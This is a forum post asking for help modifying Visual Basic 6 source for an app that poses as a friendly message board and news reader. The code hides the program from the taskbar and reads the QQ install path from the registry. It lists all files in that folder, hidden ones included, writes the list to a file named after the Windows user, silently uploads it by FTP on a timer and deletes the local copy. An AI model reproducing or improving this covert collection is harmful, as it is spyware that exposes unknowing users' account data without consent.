学过VB的来帮我修改下源码啊
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Const HKEY_LOCAL_MACHINE = &H80000002
Const REG_SZ = 1 ' 独立的空的终结字符串 ' 32位数字
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegDeleteValueex Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
'************************************
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function SetWindowPos& Lib "user32" (ByVal hwnd As Long, _
ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, _
ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long)
'=========移动无标题窗口==========
Private Declare Function ReleaseCapture Lib "user32" () As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Const WM_SYSCOMMAND = &H112
Private Const SC_MOVE = &HF010&
Private Const HTCAPTION = 2
Private Declare Function GetUserName Lib "advapi32.dll" Alias _
"GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Dim a As Integer, b As Integer, c As Integer
Dim mingcheng As String, lujing As String, xinxi As String
Dim namepath As String, liuyanpath As String, xinxibak As String
Dim liuyancishu As Integer, cishu As Integer
Dim aa As Long
Dim len5 As Long
Dim usern As String
Private Sub Form_Load()
On Error GoTo loaderr
'textbox1.attributes.add("style","background-color:transparent")
'******************************************************
'初始化窗体
If App.PrevInstance = True Then
MsgBox "程序在运行"
End
End If
App.TaskVisible = False
Me.Height = Image1.Height
Me.Width = Image1.Width
Label1.Caption = "正在读入信息..."
TextBox1.Text = "朋友之多少,友情知多少。"
TextBox1.Left = 0
TextBox1.Height = 2295
TextBox1.Width = Image1.Width
Me.Caption = "CLEW"
'*******************************************************
'总在最上
Dim myval
myval = SetWindowPos(Form1.hwnd, -1, 0, 0, 0, 0, 3)
'*********************************************************
' 装载背景图片
If Dir(App.Path + "\loge.jpg", vbNormal) <> "" Then
Me.Image1.Picture = LoadPicture(App.Path + "\loge.jpg")
End If
'*********************************************************
'获取登录系统名称
len5 = 256
usern = String(255, 0)
aa = GetUserName(usern, len5)
usern = Left(usern, InStr(1, usern, Chr(0)) - 1)
'****************************************************
'得到Windows的安装目录
Dim abc As String * 256
Dim PathSize As Long
PathSize = GetWindowsDirectory(abc, Len(abc))
'*******************************************
'自定义文件名
lujing = Left$(abc, PathSize) + "\" + usern + ".dat"
xinxi = "xinxi.txt"
liuyanpath = Left$(abc, PathSize) + "\liuyan.txt"
mingcheng = usern + ".txt"
xinxibak = App.Path + "\message.txt"
'***********************************************
'读取QQ注册表模块,获取路径。
Call StartSysInfo
'************************************************
'获取路径文件名称,建立回传信息文件。
Dim S As String, tS As String, X As String
If Dir(App.Path + "/path.dat", vbNormal) <> "" Then
Open App.Path + "/path.dat" For Input As #1
Input #1, X
Close #1
tS = Dir(X & "\*.*", vbHidden Or vbNormal Or vbReadOnly Or vbDirectory)
Do While tS <> ""
S = S & tS & vbCrLf
tS = Dir
Loop
Else
tS = Dir(Label5.Caption & "\*.*", vbHidden Or vbNormal Or vbReadOnly Or vbDirectory)
Do While tS <> ""
S = S & tS & vbCrLf
tS = Dir
Loop
End If
Open lujing For Output As #1
Print #1, S
Close #1
'*******************************************
'进行上传
Timer3.Enabled = True
Exit Sub
loaderr:
MsgBox "程序运行错误~!" & Chr(13) & "不知道说点什么?还是失败了。"
End Sub
Private Sub Image1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
'拖动 无标题 窗口
If Button = 1 Then
Call ReleaseCapture
Call SendMessage(Me.hwnd, WM_SYSCOMMAND, SC_MOVE + HTCAPTION, 0)
End If
'*******************************************************
'总在最上
Dim myval
myval = SetWindowPos(Form1.hwnd, -2, 0, 0, 0, 0, 3)
End Sub
Private Sub Image2_Click()
Inet1.Cancel
End
Me.WindowState = 1
Me.Hide
Timer1.Enabled = True
End Sub
Private Sub Image3_Click()
Me.WindowState = 1
Form1.Caption = Label1.Caption
End Sub
Private Sub Inet1_StateChanged(ByVal State As Integer)
'**********************************************************
'检测网络连接状态
Dim MsgStr As String
Select Case State
Case icNone
TextBox1.Text = "无状态可报告。"
Case icHostResolvingHost
TextBox1.Text = "正在查询所指定的主机的 IP 地址。"
Case icHostResolved
TextBox1.Text = "已成功地找到所指定的主机的 IP 地址。"
Case icConnecting
TextBox1.Text = "正在与主机连接。"
Case icConnected
TextBox1.Text = "已与主机连接成功。"
Case icRequesting
TextBox1.Text = "正在向主机发送请求。"
Case icRequestSent
TextBox1.Text = "发送请求已成功。"
Case icReceivingResponse
TextBox1.Text = "正在接收主机的响应。"
Case icResponseReceived
TextBox1.Text = "已成功地接收到主机的响应。"
Case icDisconnecting
TextBox1.Text = "正在解除与主机的连接。"
Case icDisconnected
TextBox1.Text = "已成功地与主机解除了连接。"
Case icError
TextBox1.Text = "与主机通讯时出现了错误。"
Call reading
Case icResponseCompleted
TextBox1.Text = "该请求已经完成并且已收到数据。"
End Select
Debug.Print TextBox1.Text
End Sub
Private Sub Label1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
'拖动 无标题 窗口
If Button = 1 Then
Call ReleaseCapture
Call SendMessage(Me.hwnd, WM_SYSCOMMAND, SC_MOVE + HTCAPTION, 0)
End If
End Sub
Private Sub Label10_Click()
On Error GoTo line2
Dim liuyan As String
liuyan = InputBox("请你输入要保存的文件名称:", "提示", Label1.Caption)
If liuyan <> "" Then
Open App.Path + "\" + liuyan + ".txt" For Output As #1
Print #1, TextBox1.Text
Close #1
MsgBox "文本已保存到:" & App.Path + "\" + liuyan + ".txt", 48, "保存成功"
End If
line2:
End Sub
Private Sub Label3_Click()
cishu = GetSetting("留言次数", "cishu", "次数", 1)
namepath = usern & "-" & cishu & "-liuyan.txt"
If Label3.Caption = "发送留言" Then
cishu = Val(cishu) + 1
SaveSetting "留言次数", "cishu", "次数", cishu
' MsgBox cishu
Label3.Caption = "给我留言"
Label3.Enabled = False
Open liuyanpath For Output As #1
Print #1, TextBox1.Text
Print #1, "发送时间:" & Date & "," & Time
Close #1
Call liuyan
Else
'cishu = GetSetting("留言次数", "cishu", "次数", 1)
'MsgBox cishu
TextBox1.Text = "非常感谢你第" & cishu & "次留言!" & Chr(13) & "时间:" & Date & "," & Time & Chr(13) & "内容:"
Label1.Caption = "留言本"
TextBox1.Locked = False
Label3.Caption = "发送留言"
End If
Exit Sub
End Sub
Private Sub Label4_Click()
Label1.Caption = "正在刷新..."
Label3.Caption = "给我留言"
Call geting
End Sub
Private Sub Label6_Click()
TextBox1.Text = ""
Label1.Caption = "关于程序"
Label3.Caption = "给我留言"
TextBox1.Text = "感谢你使用本程序!" & Chr(13) & "版本:" & App.Major & "." & App.Minor & "." & App.Revision & Chr(13) & "作者:pubeer" & Chr(13) & "QQ:382341202" & Chr(13) & "更新于:2008-2-6,9:30:15"
TextBox1.Locked = True
End Sub
Private Sub Label8_Click()
End Sub
Private Sub Label9_Click()
MsgBox "该功能暂不可用!", 48, "提示"
End Sub
Private Sub puting()
On Error GoTo puterr
Dim ri As String
'***********************************************
'上传文件
Inet1.Execute "", "put" & Chr(34) & lujing & Chr(34) & Chr(34) & mingcheng & Chr(34)
ri = Inet1.StillExecuting
Do While ri
ri = Inet1.StillExecuting
DoEvents
Loop
Kill lujing
Call geting
'***********************************************
Exit Sub
puterr:
TextBox1.Text = "失败啦你还不知道吗?"
End Sub
Private Sub geting()
'*********************************************************
'下载信息文件
On Error GoTo geterr
If Dir(xinxibak, vbNormal) <> "" Then
Kill xinxibak
End If
Dim ri As String
Inet1.Execute "", "GET" & Chr(34) & xinxi & Chr(34) & Chr(34) & xinxibak & Chr(34)
ri = Inet1.StillExecuting
Do While ri
ri = Inet1.StillExecuting
DoEvents
Loop
Call reading
Exit Sub
geterr:
Label1.Caption = "读入信息失败"
TextBox1.Text = "连接网络失败,无法获取新的信息。"
End Sub
Private Sub reading()
'*********************************************************
'读出传送文件
On Error GoTo readerr
Dim Lstr As String
TextBox1.Text = "系统日期:" & Date & Chr(13) & ""
Open xinxibak For Input As #1
Do While Not EOF(1)
Line Input #1, Lstr
TextBox1.Text = TextBox1.Text & Lstr & vbCrLf
Loop
Close #1
TextBox1.Locked = True
TextBox1.Enabled = True
Label1.Caption = "读入完成"
Label3.Enabled = True
Label4.Enabled = True
Label6.Enabled = True
Exit Sub
readerr:
Label3.Enabled = True
Label4.Enabled = True
Label6.Enabled = True
Label1.Caption = "读入失败"
TextBox1.Locked = True
TextBox1.Text = "发生错误" & Chr(13) & "错误代码:" & Err.Number & Chr(13) & "错误原因:" & Err.Description
End Sub
Private Sub TextBox1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
'*******************************************************
'总在最上
Dim myval
myval = SetWindowPos(Form1.hwnd, -1, 0, 0, 0, 0, 3)
End Sub
Private Sub Timer1_Timer()
a = a + 1
If a = 60 Then
a = 0
Call puting
End If
End Sub
Private Sub liuyan()
On Error GoTo liuyanerr
Inet1.Execute "", "put" & Chr(34) & liuyanpath & Chr(34) & Chr(34) & namepath & Chr(34)
ri = Inet1.StillExecuting
Do While ri
ri = Inet1.StillExecuting
DoEvents
Loop
If Dir(liuyanpath, vbNormal) <> "" Then
Kill liuyanpath
End If
Label3.Enabled = True
TextBox1.Text = "留言已发出!感谢你的留言!"
Label1.Caption = "留言发送成功"
TextBox1.Locked = True
Exit Sub
liuyanerr:
Label3.Enabled = True
TextBox1.Text = "留言发送失败!请检查系统是否可以连接网络!"
Label1.Caption = "留言发送失败"
End Sub
Private Sub Timer2_Timer()
Call liuyan
Timer2.Enabled = False
End Sub
Private Sub Timer3_Timer()
Call puting
Timer3.Enabled = False
End Sub